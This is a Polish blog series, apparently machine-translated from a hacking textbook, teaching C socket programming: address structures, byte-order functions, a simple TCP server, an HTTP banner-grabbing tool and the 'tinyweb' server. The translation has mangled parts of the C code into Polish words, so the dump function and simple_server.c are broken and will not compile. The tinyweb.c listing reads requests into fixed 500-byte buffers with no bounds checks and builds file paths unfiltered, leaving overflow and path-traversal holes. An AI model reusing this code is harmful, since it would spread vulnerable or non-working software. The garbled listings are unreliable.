Z Pamiętniczka Młodego Hackerkachacker.pl



Drogi Pamiętniczku …



01.08.2020

Adresy gniazd

Wiele funkcji gniazda odwołuje się do struktury sockaddr, aby przekazać informacje adresowe, które definiują hosta. Ta struktura jest również zdefiniowana w bitach / socket.h, jak pokazano na następnej stronie.

/usr/include/bits/socket.h

/* Get the definition of the macro to define the common sockaddr members. */

#include

/* Structure describing a generic socket address. */

struct sockaddr

{

__SOCKADDR_COMMON (sa_); /* Common data: address family and length. */

char sa_data[14]; /* Address data. */

};

Makro dla SOCKADDR_COMMON jest zdefiniowane w dołączonym pliku bitów / sockaddr.h, co zasadniczo tłumaczy się na unsigned short int. Ta wartość określa rodzinę adresu, a reszta struktury jest zapisywana dla danych adresowych. Ponieważ gniazda mogą komunikować się za pomocą różnych rodzin protokołów, każdy z własnym sposobem definiowania adresów punktów końcowych, definicja adresu również musi być zmienna, w zależności od rodziny adresów. Możliwe rodziny adresów są również zdefiniowane w bitach / socket.h; zwykle tłumaczą bezpośrednio na odpowiednie rodziny protokołów.

/usr/include/bits/socket.h

/ * Adres rodziny. * /

#define AF_UNSPEC PF_UNSPEC

#define AF_LOCAL PF_LOCAL

#define AF_UNIX PF_UNIX

#define AF_FILE PF_FILE

#define AF_INET PF_INET

#define AF_AX25 PF_AX25

#define AF_IPX PF_IPX

#define AF_APPLETALK PF_APPLETALK

#define AF_NETROM PF_NETROM

#define AF_BRIDGE PF_BRIDGE

#define AF_ATMPVC PF_ATMPVC

#define AF_X25 PF_X25

#define AF_INET6 PF_INET6



Ponieważ adres może zawierać różne typy informacji, w zależności od rodziny adresów istnieje kilka innych struktur adresów, które zawierają w sekcji danych adresu wspólne elementy ze struktury sockaddr, a także informacje dotyczące rodziny adresów. Struktury te są również tej samej wielkości, więc mogą być typograficzne do i od siebie nawzajem. Oznacza to, że funkcja socket () po prostu zaakceptuje wskaźnik do struktury sockaddr, która w rzeczywistości może wskazywać na strukturę adresu dla IPv4, IPv6 lub X.25. Dzięki temu funkcje gniazd mogą działać na różnych protokołach. Zajmiemy się protokołem internetowym w wersji 4, który jest rodziną protokołów PF_INET, przy użyciu rodziny adresów AF_INET. Struktura adresowa gniazda równoległego dla AF_INET jest zdefiniowana w pliku netinet / in.h.

/usr/include/netinet/in.h

/ * Struktura opisująca adres gniazda internetowego. * /

struct sockaddr_in

{

__SOCKADDR_COMMON (sin_);

in_port_t sin_port; /* Numer portu. * /

struct in_addr sin_addr; /* Adres internetowy. * /

/ * Podkładka do rozmiaru "struct sockaddr". * /

unsigned char sin_zero [sizeof (struct sockaddr) -

__SOCKADDR_COMMON_SIZE -

sizeof (in_port_t) -

sizeof (struct in_addr)];

};

Część SOCKADDR_COMMON na górze struktury jest po prostu wspomnianą wcześniej niepodpisaną krótką int, która służy do zdefiniowania rodziny adresów. Ponieważ adres punktu końcowego gniazda składa się z adresu internetowego i numeru portu, są to kolejne dwie wartości w strukturze. Numer portu jest 16-bitowy, a in_addr struktura używana dla adresu internetowego zawiera 32-bitową liczbę. Reszta struktury to tylko 8 bajtów wypełnienia, aby wypełnić resztę struktury sockaddr. Ta przestrzeń nie jest używana do niczego, ale musi być zapisana, aby struktury mogły być zamiennie typograficzne.

Powrót

02.08.2020

Network Byte Order

Oczekuje się, że numer portu i adres IP używane w strukturze adresu gniazda AF_INET będą zgodne z porządkiem bajtów sieciowych, który jest big-endian. Jest to przeciwieństwo uporządkowania bajtów w małych bitmach x86, więc te wartości muszą zostać przekonwertowane. Jest kilka funkcji specyficznych dla tych konwersji, których prototypy są zdefiniowane w plikach netinet / in.h i arpa / inet.h. Oto podsumowanie funkcji konwersji wspólnego zlecenia na bajt:

htonl

(długa wartość) Host-to-Network Long

Konwertuje 32-bitową liczbę całkowitą z kolejności bajtów hosta na kolejność bajtów sieciowych

htons

(krótka wartość) Krótki skrót między hostami

Konwertuje 16-bitową liczbę całkowitą z kolejności bajtów hosta na kolejność bajtów sieciowych

ntohl

(długa wartość) Od długiej sieci do hosta

Konwertuje 32-bitową liczbę całkowitą z kolejki bajtów sieciowych na kolejność bajtów hosta

ntohs

(długa wartość) Skrót między hostami

Konwertuje 16-bitową liczbę całkowitą z kolejki bajtów sieciowych na kolejność bajtów hosta

Aby zapewnić zgodność ze wszystkimi architekturami, te funkcje konwersji powinny nadal być używane, nawet jeśli host używa procesora z dużą liczbą bajtów.

Powrót

03.08.2020

Konwersja adresów internetowych

Kiedy widzisz 12.110.110.204, prawdopodobnie rozpoznasz to jako adres internetowy (wersja IP 4). Ta znana notacja z kropkami jest popularnym sposobem określania adresów internetowych i istnieją funkcje do konwersji tej notacji do 32-bitowej liczby całkowitej w kolejności bajtów sieciowych. Te funkcje są zdefiniowane w pliku arpa / inet.h dołącz plik, a dwie najbardziej użyteczne funkcje konwersji to:

inet_aton (char * ascii_addr, struct in_addr * network_addr)

ASCII to Networkd

Ta funkcja przekształca łańcuch ASCII zawierający adres IP w formacie kropkowanym na strukturę in_addr, która, jak pamiętamy, zawiera tylko 32-bitową liczbę całkowitą reprezentującą adres IP w kolejności bajtów sieciowych.

inet_ntoa (struct in_addr * network_addr)

Network to ASCII

Ta funkcja konwertuje w drugą stronę. Przekazany jest wskaźnik do struktury in_addr zawierającej adres IP, a funkcja zwraca wskaźnik znaku do łańcucha ASCII zawierającego adres IP w format kropkowo-liczbowy. Ciąg ten jest przechowywany w statycznie przydzielonym buforze pamięci w funkcji, dzięki czemu można uzyskać do niego dostęp aż do następnego wywołania inet_ntoa (), kiedy ciąg znaków zostanie nadpisany.

Powrót
04.08.2020

Prosty przykład serwera

Najlepszym sposobem pokazania, w jaki sposób te funkcje są używane, jest przykład. Poniższy kod serwera nasłuchuje połączeń TCP na porcie 7890. Gdy klient łączy się, wysyła wiadomość Hello, world! a następnie odbiera dane, dopóki połączenie nie zostanie zamknięte. Odbywa się to za pomocą funkcji gniazd i struktur z wymienionych wcześniej plików włączających, dlatego te pliki są uwzględniane na początku programu. Przydatna funkcja zrzutu pamięci została dodana do pliku hacking.h, który jest pokazany na następnej stronie.

Dodano do hacking.h

// Zrzuca surową pamięć w formacie szesnastkowym i drukowanym formacie podziału

void dump (const unsigned char * data_buffer, const unsigned int length) {

niepodpisany bajt char;

unsigned int i, j;

for (i = 0; i < length; i ++) {

byte = data_buffer [i];

printf ("% 02x", bufor_danych [i]); // Wyświetl bajt w hex.

if ((((% 16) == 15) || (i == długość-1)) {

dla (j = 0; j <15- (i% 16); j ++)

printf ("");

printf ("|");

dla (j = (i- (i% 16)); j <= i; j ++) {// Wyświetla bajty do wydrukowania z linii.

byte = data_buffer [j];

if ((byte> 31) && (bajt < 127)) // Zewnętrzny zakres znaków do druku

printf ("% c", bajt);

jeszcze

printf (".");

}

printf ("\ n"); // Koniec linii zrzutu (każda linia ma 16 bajtów)

} // Koniec, jeśli

} // Zakończ dla

}

Ta funkcja służy do wyświetlania danych pakietowych przez program serwera. Jednakże, ponieważ jest on również użyteczny w innych miejscach, zamiast tego został umieszczony w hacking.h. Reszta programu serwera zostanie wyjaśniona po przeczytaniu kodu źródłowego.

simple_server.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

#include < sys / socket.h >

#include < netinet / in.h >

#include < arpa / inet.h >

#include "hacking.h"

#define PORT 7890 // Użytkownicy portu będą się łączyć

int main (void) {

int sockfd, new_sockfd; // Posłuchaj na sock_fd, nowe połączenie na new_fd

struct sockaddr_in host_addr, client_addr; // Moje dane adresowe

socklen_t sin_size;

int recv_length = 1, tak = 1;

bufor znakujący [1024];

if ((sockfd = socket (PF_INET, SOCK_STREAM, 0)) == -1)

śmiertelne ("w gnieździe");

jeśli (setsockopt (sockfd, SOL_SOCKET, SO_REUSEADDR, i tak, sizeof (int)) == -1)

fatal ("ustawienie gniazda SO_REUSEADDR");

Do tej pory program ustawia gniazdo za pomocą funkcji socket (). Chcemy gniazda TCP / IP, więc rodzina protokołów to PF_INET dla IPv4, a typ gniazda to SOCK_STREAM dla gniazda strumieniowego. Ostatnim argumentem protokołu jest 0, ponieważ w rodzinie protokołów PF_INET istnieje tylko jeden protokół. Ta funkcja zwraca deskryptor pliku gniazda, który jest przechowywany w sockfd. Funkcja setsockopt () jest po prostu używana do ustawiania opcji gniazd. To wywołanie funkcji ustawia gniazdo SO_REUSEADDR opcja true, która pozwoli mu ponownie użyć danego adresu do wiązania. Bez tej opcji, gdy program spróbuje połączyć się z danym portem, nie powiedzie się, jeśli ten port jest już w użyciu. Jeśli gniazdo nie jest poprawnie zamknięte, może wydawać się, że jest w użyciu, więc ta opcja pozwala powiązać gniazdo z portem (i przejąć nad nim kontrolę), nawet jeśli wydaje się być w użyciu. Pierwszym argumentem tej funkcji jest gniazdo (do którego odwołuje się deskryptor pliku), drugie określa poziom opcji, a trzecie określa samą opcję. Ponieważ SO_REUSEADDR jest opcją na poziomie gniazda, poziom jest ustawiony na SOL_SOCKET. Istnieje wiele różnych opcji gniazd zdefiniowanych w / usr / include / asm / socket.h. Ostatnie dwa argumenty są wskaźnikiem do danych, dla których opcja powinna być ustawiona i do długości tych danych. Wskaźnik do danych i długość tych danych to dwa argumenty, które są często używane z funkcjami gniazda. Dzięki temu funkcje obsługują wszystkie rodzaje danych, od pojedynczych bajtów po duże struktury danych. Opcje SO_REUSE ADDR używa 32-bitowej liczby całkowitej dla jej wartości, więc aby ustawić tę opcję na true, końcowe dwa argumenty muszą być wskaźnikiem do liczby całkowitej równej 1 i wielkości liczby całkowitej (która wynosi 4 bajty).

host_addr.sin_family = AF_INET; // Kolejność bajtów hosta

host_addr.sin_port = htons (PORT); // Krótka kolejność bajtów sieciowych

host_addr.sin_addr.s_addr = 0; // Automatycznie wypełnij mój adres IP.

memset (& (host_addr.sin_zero), '\ 0', 8); // Zeruj resztę struktury.

if (bind (sockfd, (struct sockaddr *) i host_addr, sizeof (struct sockaddr)) == -1)

fatal ("powiązanie z gniazdem");

if (listen (sockfd, 5) == -1)

fatal ("nasłuchiwanie na gnieździe");

W następnych kilku wierszach ustawiono strukturę host_addr do użycia w wywołaniu bind. Rodzina adresów to AF_INET, ponieważ używamy IPv4 i sockaddr_instructure. Port jest ustawiony na PORT, który jest zdefiniowany jako 7890. Ta krótka wartość całkowita musi zostać zamieniona na kolejność bajtów sieciowych, więc używana jest funkcja htons (). Adres jest ustawiony na 0, co oznacza, że zostanie automatycznie wypełniony aktualnym adresem IP hosta. Ponieważ wartość 0 jest taka sama, niezależnie od kolejności bajtów, konwersja nie jest konieczna. Wywołanie bind () przekazuje deskryptor pliku gniazda, strukturę adresu i długość struktury adresu. To połączenie spowoduje połączenie gniazda z bieżącym adresem IP na porcie 7890. Wywołanie listen () powoduje, że gniazdo nasłuchuje połączeń przychodzących, a kolejne wywołanie accept () faktycznie akceptuje połączenie przychodzące. Funkcja listen () umieszcza wszystkie połączenia przychodzące w kolejce zaległości, dopóki połączenie accept () nie zaakceptuje połączeń. Ostatni argument wywołania listen () określa maksymalny rozmiar kolejki zaległości.

while (1) {// Akceptuj pętlę.

sin_size = sizeof (struct sockaddr_in);

new_sockfd = accept (sockfd, (struct sockaddr *) & client_addr i sin_size);

if (new_sockfd == -1)

śmiertelne ("akceptujące połączenie");

printf ("serwer: uzyskałem połączenie z% s portu% d \ n",

inet_ntoa (client_addr.sin_addr), ntohs (client_addr.sin_port));

wyślij (new_sockfd, "Hello, world! \ n", 13, 0);

recv_length = recv (new_sockfd, & buffer, 1024, 0);

while (recv_length> 0) {

printf ("RECV:% d bajtów \ n", recv_length);

dump (buffer, recv_length);

recv_length = recv (new_sockfd, & buffer, 1024, 0);

}

close (new_sockfd);

}

return 0;

}

Dalej jest pętla, która akceptuje połączenia przychodzące. Pierwsze dwa argumenty funkcji accept () powinny mieć natychmiastowy sens; ostatni argument jest wskaźnikiem rozmiaru struktury adresu. Dzieje się tak dlatego, że funkcja accept () zapisze informacje o adresie klienta łączącego w strukturze adresu i rozmiarze tej struktury na sin_size. Dla naszych celów wielkość nigdy się nie zmienia, ale aby użyć funkcji, musimy przestrzegać konwencji wzywającej. Funkcja accept () zwraca nowy deskryptor pliku gniazda dla zaakceptowanego połączenia. W ten sposób oryginalny deskryptor pliku gniazda może być nadal używany do akceptowania nowych połączeń, podczas gdy nowy deskryptor pliku gniazda służy do komunikacji z podłączonym klientem. Po uzyskaniu połączenia, program wypisuje komunikat połączenia, używając inet_ntoa (), aby przekształcić strukturę adresu sin_addr na napis IP o liczbie kropkowej i ntohs (), aby przekonwertować kolejność bajtów numeru sin_port. Funkcja send () wysyła 13 bajtów ciągu Hello, world! \ N do nowego gniazda opisującego nowe połączenie. Ostatnim argumentem funkcji send () i recv () są flagi, które dla naszych celów będą zawsze równe 0. Kolejne jest pętla, która odbiera dane z połączenia i wypisuje je. Funkcja recv () otrzymuje wskaźnik do bufora i maksymalną długość do odczytania z gniazda. Funkcja zapisuje dane do bufora przekazanego do niego i zwraca liczbę faktycznie zapisanych bajtów. Pętla będzie kontynuowana, dopóki wywołanie recv () będzie kontynuować odbieranie danych. Po skompilowaniu i uruchomieniu program łączy się z portem 7890 hosta i czeka na połączenia przychodzące: reader @ hacking : ~ / booksrc $ gcc simple_server.c

reader @ hacking: ~ / booksrc $ ./a.out

Klient telnet działa zasadniczo jak zwykły klient połączenia TCP, więc można go użyć do połączenia z prostym serwerem, określając docelowy adres IP i port.

Powrót
05.08.2020

Przykład klienta sieci Web

Program telnet działa dobrze jako klient dla naszego serwera, więc naprawdę nie ma powodu, by pisać wyspecjalizowanego klienta. Istnieją jednak tysiące różnych typów serwerów, które akceptują standardowe połączenia TCP / IP. Za każdym razem, gdy używasz przeglądarki internetowej, nawiązuje ona połączenie z serwerem internetowym. To połączenie przesyła stronę internetową nad połączeniem za pomocą protokołu HTTP, która definiuje określony sposób żądania i wysyłania informacji. Domyślnie, serwery WWW działają na porcie 80, który jest wymieniony wraz z wieloma innymi domyślnymi portami w / etc / services.



Od / etc / services

finger 79 / tcp # palec

finger 79 / udp

http 80 / tcp www

www-http # Internet HTTP HTTP HTTP istnieje w warstwie aplikacji - najwyższej warstwie - modelu OSI. Na tej warstwie wszystkie szczegóły sieci zostały już obsłużone przez niższe warstwy, więc HTTP używa tekstowego tekstu do swojej struktury. Wiele innych protokołów warstwy aplikacji również wykorzystuje tekst jawny, taki jak protokół POP3, SMTP, IMAP i kanał kontrolny FTP. Ponieważ są to standardowe protokoły, wszystkie są dobrze udokumentowane i łatwo zbadane. Gdy znasz składnię tych różnych protokołów, możesz ręcznie rozmawiać z innymi programami, które mówią tym samym językiem. Nie musisz być biegły, ale znając kilka ważnych zwrotów, pomożesz w podróży na zagraniczne serwery. W języku HTTP żądania są wykonywane za pomocą polecenia GET, a następnie ścieżki zasobu i protokołu http wersja. Na przykład GET / HTTP / 1.0 zażąda dokumentu głównego z serwera sieciowego przy użyciu protokołu HTTP w wersji 1.0. Żądanie dotyczy katalogu głównego /, ale większość serwerów automatycznie wyszukuje domyślny dokument HTML w katalogu index.html. Jeśli serwer znajdzie zasób, odpowie, używając protokołu HTTP, wysyłając kilka nagłówków przed wysłaniem treści. Jeśli zamiast GET zostanie użyta komenda HEAD, zwróci ona tylko nagłówki HTTP bez zawartości. Nagłówki te są tekstem jawnym i zwykle dostarczają informacji o serwerze. Te nagłówki można pobrać ręcznie za pomocą telnetu, łącząc się z portem 80 znanej strony internetowej, a następnie wpisując HEAD / HTTP / 1.0 i naciskając dwukrotnie klawisz ENTER. W poniższym wyjściu telnet służy do otwierania połączenia TCP-IP z serwerem internetowym pod adresem http://www.internic.net. Następnie warstwa aplikacji HTTP jest ręcznie wymawiana, aby zażądać nagłówków dla głównej strony indeksu.

reader@hacking: ~ / booksrc $ telnet www.internic.net 80

Próbuję 208.77.188.101 ...

Połączony z www.internic.net.

Escape to "^]".

HEAD / HTTP / 1.0

HTTP / 1.1 200 OK

Data: piątek, 14 września 2007 r. 05:34:14 GMT

Serwer: Apache / 2.0.52 (CentOS)

Accept-Ranges: bytes

Długość zawartości: 6743

Połączenie: zamknij

Content-Type: text / html; charset = UTF-8

Połączenie zostało zamknięte przez zdalnego hosta.

reader@hacking: ~ / booksrc $

To pokazuje, że serwer WWW to Apache w wersji 2.0.52, a nawet że host obsługuje CentOS. Może to być przydatne do profilowania, więc napiszmy program, który automatyzuje ten ręczny proces. Następne kilka programów będzie wysyłać i odbierać dużo danych. Ponieważ standardowe funkcje gniazda nie są zbyt przyjazne, napiszmy kilka funkcji do wysyłania i odbierania danych. Funkcje te, nazwane send_string () i recv_line (), zostaną dodane do nowego pliku włączającego o nazwie hacking-network.h. Normalna funkcja send () zwraca liczbę zapisanych bajtów, która nie zawsze jest równa liczbie bajtów, które próbowałeś wysłać. Funkcja send_string () akceptuje gniazdo i wskaźnik łańcuchowy jako argumenty i zapewnia, że cały ciąg jest wysyłany przez gniazdo. Używa strlen (), aby określić całkowitą długość przekazanego do niego ciągu. Być może zauważyłeś, że każdy pakiet otrzymany przez prosty serwer zakończył się bajtami 0x0D i 0x0A. W ten sposób telnet kończy linie - wysyła powrót karetki i znak nowej linii. Protokół HTTP oczekuje również, że linie zostaną zakończone tymi dwoma bajtami. Szybkie spojrzenie na tabelę ASCII pokazuje, że 0x0D jest a powrót karetki ('\ r') i 0x0A to znak nowej linii ('\ n'). czytnik @ hacking: ~ / booksrc $ man ascii | egrep "Hex | 0A | 0D" Ponowne formatowanie ascii (7), proszę czekać ...

Oct Dec Hex Char Oct Dec Hex Char

012 10 0A LF '\ n' (nowa linia) 112 74 4A J

015 13 0D CR '\ r' (powrót karetki) 115 77 4D M

reader @ hacking: ~ / booksrc $

Funkcja recv_line () odczytuje całe linie danych. Odczytywany jest z gniazda przekazanego jako pierwszy argument do bufora, na który wskazuje drugi argument. Kontynuuje odbieranie z gniazda, dopóki nie napotka dwóch ostatnich bajtów linii bazowej. Następnie kończy łańcuch i kończy działanie funkcji. Te nowe funkcje zapewniają, że wszystkie bajty są wysyłane i odbierają dane w postaci linii zakończonych przez '\ r \ n'. Są one wymienione poniżej w nowym pliku włączającym o nazwie hacking-network.h.

hacking-network.h

/* This function accepts a socket FD and a ptr to the null terminated

* string to send. The function will make sure all the bytes of the

* string are sent. Returns 1 on success and 0 on failure.

*/

int send_string(int sockfd, unsigned char *buffer) {

int sent_bytes, bytes_to_send;

bytes_to_send = strlen(buffer);

while(bytes_to_send > 0) {

sent_bytes = send(sockfd, buffer, bytes_to_send, 0);

if(sent_bytes == -1)

return 0; // Return 0 on send error.

bytes_to_send -= sent_bytes;

buffer += sent_bytes;

}

return 1; // Return 1 on success.

}

/* This function accepts a socket FD and a ptr to a destination

* buffer. It will receive from the socket until the EOL byte

* sequence in seen. The EOL bytes are read from the socket, but

* the destination buffer is terminated before these bytes.

* Returns the size of the read line (without EOL bytes).

*/

int recv_line(int sockfd, unsigned char *dest_buffer) {

#define EOL "\r\n" // End-of-line byte sequence

#define EOL_SIZE 2

unsigned char *ptr;

int eol_matched = 0;

ptr = dest_buffer;

while(recv(sockfd, ptr, 1, 0) == 1) { // Read a single byte.

if(*ptr == EOL[eol_matched]) { // Does this byte match terminator?

eol_matched++;

if(eol_matched == EOL_SIZE) { // If all bytes match terminator,

*(ptr+1-EOL_SIZE) = '\0'; // terminate the string.

return strlen(dest_buffer); // Return bytes received

}

} else {

eol_matched = 0;

}

ptr++; // Increment the pointer to the next byter.

}

return 0; // Didn't find the end-of-line characters.

}

Wykonywanie połączenia z gniazdem na liczbowy adres IP jest dość proste, ale adresy nazwane są powszechnie używane dla wygody. W ręcznym żądaniu HTTP HEAD program telnet automatycznie wykonuje wyszukiwanie DNS (Domain Name Service), aby stwierdzić, że www.internic.net tłumaczy się na adres IP 192.0.34.161. DNS to protokół, który umożliwia wyszukiwanie adresu IP pod podanym adresem, podobnie jak w książce telefonicznej można znaleźć numer telefonu, jeśli znasz jego nazwę. Oczywiście istnieją funkcje i struktury związane z gniazdami, przeznaczone specjalnie do wyszukiwania nazw hostów za pośrednictwem DNS. Te funkcje i struktury są zdefiniowane w netdb.h. Funkcja o nazwie gethostbyname () pobiera wskaźnik do łańcucha zawierającego nazwany adres i zwraca wskaźnik do hostentstructure lub wskaźnik NULL w przypadku błędu. Struktura hosta jest wypełniana informacjami z wyszukiwania, w tym liczbowym adresem IP jako 32-bitową liczbą całkowitą w porządku bajtów sieciowych. Podobnie do funkcji inet_ntoa () pamięć dla tej struktury jest statycznie alokowana w funkcji. Ta struktura jest pokazana poniżej, jak podano w netdb.h

Powrót

06.08.2020

/usr/include/netdb.h

/* Description of database entry for a single host. */

struct hostent

{

char *h_name; /* Official name of host. */

char **h_aliases; /* Alias list. */

int h_addrtype; /* Host address type. */

int h_length; /* Length of address. */

char **h_addr_list; /* List of addresses from name server. */

#define h_addr h_addr_list[0] /* Address, for backward compatibility. */

};

Poniższy kod demonstruje użycie funkcji gethostbyname ().

host_lookup.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

#include < sys/socket.h>

#include < netinet/in.h >

#include < arpa/inet.h >

#include < netdb.h >

#include "hacking.h"

int main(int argc, char *argv[]) {

struct hostent *host_info;

struct in_addr *address;

if(argc < 2) {

printf("Usage: %s < hostname >\n", argv[0]);

exit(1);

}

host_info = gethostbyname(argv[1]);

if(host_info == NULL) {

printf("Couldn't lookup %s\n", argv[1]);

} else {

address = (struct in_addr *) (host_info->h_addr);

printf("%s has address %s\n", argv[1], inet_ntoa(*address));

}

}

Ten program przyjmuje nazwę hosta jako jedyny argument i wypisuje adres IP. Funkcja gethostbyname () zwraca wskaźnik do struktury hosta, która zawiera adres IP w elemencie h_addr. Wskaźnikiem do tego elementu jest typecast do wskaźnika in_addr, który jest później dereferenced dla wywołania inet_ntoa (), który oczekuje struktury in_addr jako argumentu. Przykładowe wyniki programu pokazano na następnej stronie.

reader@hacking:~/booksrc $ gcc -o host_lookup host_lookup.c

reader@hacking:~/booksrc $ ./host_lookup www.internic.net

www.internic.net has address 208.77.188.101

reader@hacking:~/booksrc $ ./host_lookup www.google.com

www.google.com has address 74.125.19.103

reader@hacking:~/booksrc $

Korzystanie z funkcji gniazdowych w oparciu o to, tworzenie programu identyfikacji serwera sieciowego nie jest trudne.

webserver_id.c

#include < stdio.h >

#include < stdlib.h >

#include < string.h >

#include < sys/socket.h >

#include < netinet/in.h >

#include < arpa/inet.h >

#include < netdb.h >

#include "hacking.h"

#include "hacking-network.h"

int main(int argc, char *argv[]) {

int sockfd;

struct hostent *host_info;

struct sockaddr_in target_addr;

unsigned char buffer[4096];

if(argc < 2) {

printf("Usage: %s < hostname>\n", argv[0]);

exit(1);

}

if((host_info = gethostbyname(argv[1])) == NULL)

fatal("looking up hostname");

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)

fatal("in socket");

target_addr.sin_family = AF_INET;

target_addr.sin_port = htons(80);

target_addr.sin_addr = *((struct in_addr *)host_info->h_addr);

memset(&(target_addr.sin_zero), '\0', 8); // Zero the rest of the struct.

if (connect(sockfd, (struct sockaddr *)&target_addr, sizeof(struct sockaddr)) == -1)

fatal("connecting to target server");

send_string(sockfd, "HEAD / HTTP/1.0\r\n\r\n");

while(recv_line(sockfd, buffer)) {

if(strncasecmp(buffer, "Server:", 7) == 0) {

printf("The web server for %s is %s\n", argv[1], buffer+8);

exit(0);

}

}

printf("Server line not found\n");

exit(1);

}

Większość tego kodu powinna teraz mieć sens. Element sin_addr struktury target_addr jest wypełniany przy użyciu adresu ze struktury host_info poprzez typowanie, a następnie dereferencje jak poprzednio (ale tym razem jest to wykonywane w jednym wierszu). Funkcja connect () jest wywoływana w celu połączenia z portem 80 hosta docelowego, łańcuch poleceń jest wysyłany, a pętle programu odczytują każdą linię do bufora. Funkcja strncasecmp () jest funkcją porównywania ciągów z ciągu strings.h. Ta funkcja porównuje pierwsze n bajtów dwóch ciągów, ignorując wielkie litery. Pierwsze dwa argumenty to wskaźniki do łańcuchów, a trzeci argument to n, liczba bajtów do porównania. Funkcja zwróci 0, jeśli łańcuchy będą zgodne, więc instrukcja if szuka linii rozpoczynającej się od "Server:". Po znalezieniu usuwa pierwsze osiem bajtów i drukuje wersję serwera WWW Poniższa lista pokazuje kompilację i wykonanie programu.

reader@hacking:~/booksrc $ gcc -o webserver_id webserver_id.c

reader@hacking:~/booksrc $ ./webserver_id www.internic.net

The web server for www.internic.net is Apache/2.0.52 (CentOS)

reader@hacking:~/booksrc $ ./webserver_id www.microsoft.com

The web server for www.microsoft.com is Microsoft-IIS/7.0

reader@hacking:~/booksrc $

Powrót

07.08.2020

Serwer Tinyweb

Serwer internetowy nie musi być dużo bardziej skomplikowany niż prosty serwer, który stworzyliśmy w poprzedniej sekcji. Po zaakceptowaniu połączenia TCP-IP serwer internetowy musi implementować kolejne warstwy komunikacji za pomocą protokołu HTTP. Podany poniżej kod serwera jest prawie identyczny z prostym serwerem, z tym że kod obsługi połączenia jest podzielony na jego własną funkcję. Ta funkcja obsługuje żądania HTTP GET i HEAD, które pochodzą z sieci przeglądarki. Program wyszuka żądany zasób w lokalnym katalogu o nazwie webroot i wyśle go do przeglądarki. Jeśli pliku nie można znaleźć, serwer odpowie odpowiedzą HTTP 404. Być może znasz już tę odpowiedź, co oznacza, że nie znaleziono pliku. Poniżej znajduje się pełny wykaz kodów źródłowych.

tinyweb.c

#include < stdio.h >

#include < fcntl.h >

#include < stdlib.h >

#include < string.h >

#include

#include < sys/socket.h >

#include < netinet/in.h >

#include < arpa/inet.h >

#include "hacking.h"

#include "hacking-network.h"

#define PORT 80 // The port users will be connecting to

#define WEBROOT "./webroot" // The web server's root directory

void handle_connection(int, struct sockaddr_in *); // Handle web requests

int get_file_size(int); // Returns the filesize of open file descriptor

int main(void) {

int sockfd, new_sockfd, yes=1;

struct sockaddr_in host_addr, client_addr; // My address information

socklen_t sin_size;

printf("Accepting web requests on port %d\n", PORT);

if ((sockfd = socket(PF_INET, SOCK_STREAM, 0)) == -1)

fatal("in socket");

if (setsockopt(sockfd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(int)) == -1)

fatal("setting socket option SO_REUSEADDR");

host_addr.sin_family = AF_INET; // Host byte order

host_addr.sin_port = htons(PORT); // Short, network byte order

host_addr.sin_addr.s_addr = INADDR_ANY; // Automatically fill with my IP.

memset(&(host_addr.sin_zero), '\0', 8); // Zero the rest of the struct.

if (bind(sockfd, (struct sockaddr *)&host_addr, sizeof(struct sockaddr)) == -1)

fatal("binding to socket");

if (listen(sockfd, 20) == -1)

fatal("listening on socket");

while(1) { // Accept loop.

sin_size = sizeof(struct sockaddr_in);

new_sockfd = accept(sockfd, (struct sockaddr *)&client_addr, &sin_size);

if(new_sockfd == -1)

fatal("accepting connection");

handle_connection(new_sockfd, &client_addr);

}

return 0;

}

/* This function handles the connection on the passed socket from the

* passed client address. The connection is processed as a web request,

* and this function replies over the connected socket. Finally, the

* passed socket is closed at the end of the function.

*/

void handle_connection(int sockfd, struct sockaddr_in *client_addr_ptr) {

unsigned char *ptr, request[500], resource[500];

int fd, length;

length = recv_line(sockfd, request);

printf("Got request from %s:%d \"%s\"\n", inet_ntoa(client_addr_ptr->sin_addr),

ntohs(client_addr_ptr->sin_port), request);

ptr = strstr(request, " HTTP/"); // Search for valid-looking request.

if(ptr == NULL) { // Then this isn't valid HTTP.

printf(" NOT HTTP!\n");

} else {

*ptr = 0; // Terminate the buffer at the end of the URL.

ptr = NULL; // Set ptr to NULL (used to flag for an invalid request).

if(strncmp(request, "GET ", 4) == 0) // GET request

ptr = request+4; // ptr is the URL.

if(strncmp(request, "HEAD ", 5) == 0) // HEAD request

ptr = request+5; // ptr is the URL.

if(ptr == NULL) { // Then this is not a recognized request.

printf("\tUNKNOWN REQUEST!\n");

} else { // Valid request, with ptr pointing to the resource name

if (ptr[strlen(ptr) - 1] == '/') // For resources ending with '/',

strcat(ptr, "index.html"); // add 'index.html' to the end.

strcpy(resource, WEBROOT); // Begin resource with web root path

strcat(resource, ptr); // and join it with resource path.

fd = open(resource, O_RDONLY, 0); // Try to open the file.

printf("\tOpening \'%s\'\t", resource);

if(fd == -1) { // If file is not found

printf(" 404 Not Found\n");

send_string(sockfd, "HTTP/1.0 404 NOT FOUND\r\n");

send_string(sockfd, "Server: Tiny webserver\r\n\r\n");

send_string(sockfd, "< html >< head >< title >404 Not Found< /title >< /head >");

send_string(sockfd, "< body >< h1 >URL not found< /h1 >< /body >< /html >\r\n");

} else { // Otherwise, serve up the file.

printf(" 200 OK\n");

send_string(sockfd, "HTTP/1.0 200 OK\r\n");

send_string(sockfd, "Server: Tiny webserver\r\n\r\n");

if(ptr == request + 4) { // Then this is a GET request

if( (length = get_file_size(fd)) == -1)

fatal("getting resource file size");

if( (ptr = (unsigned char *) malloc(length)) == NULL)

fatal("allocating memory for reading resource");

read(fd, ptr, length); // Read the file into memory.

send(sockfd, ptr, length, 0); // Send it to socket.

free(ptr); // Free file memory.

}

close(fd); // Close the file.

} // End if block for file found/not found.

} // End if block for valid request.

} // End if block for valid HTTP.

shutdown(sockfd, SHUT_RDWR); // Close the socket gracefully.

}

/* This function accepts an open file descriptor and returns

* the size of the associated file. Returns -1 on failure.

*/

int get_file_size(int fd) {

struct stat stat_struct;

if(fstat(fd, &stat_struct) == -1)

return -1;

return (int) stat_struct.st_size;

}

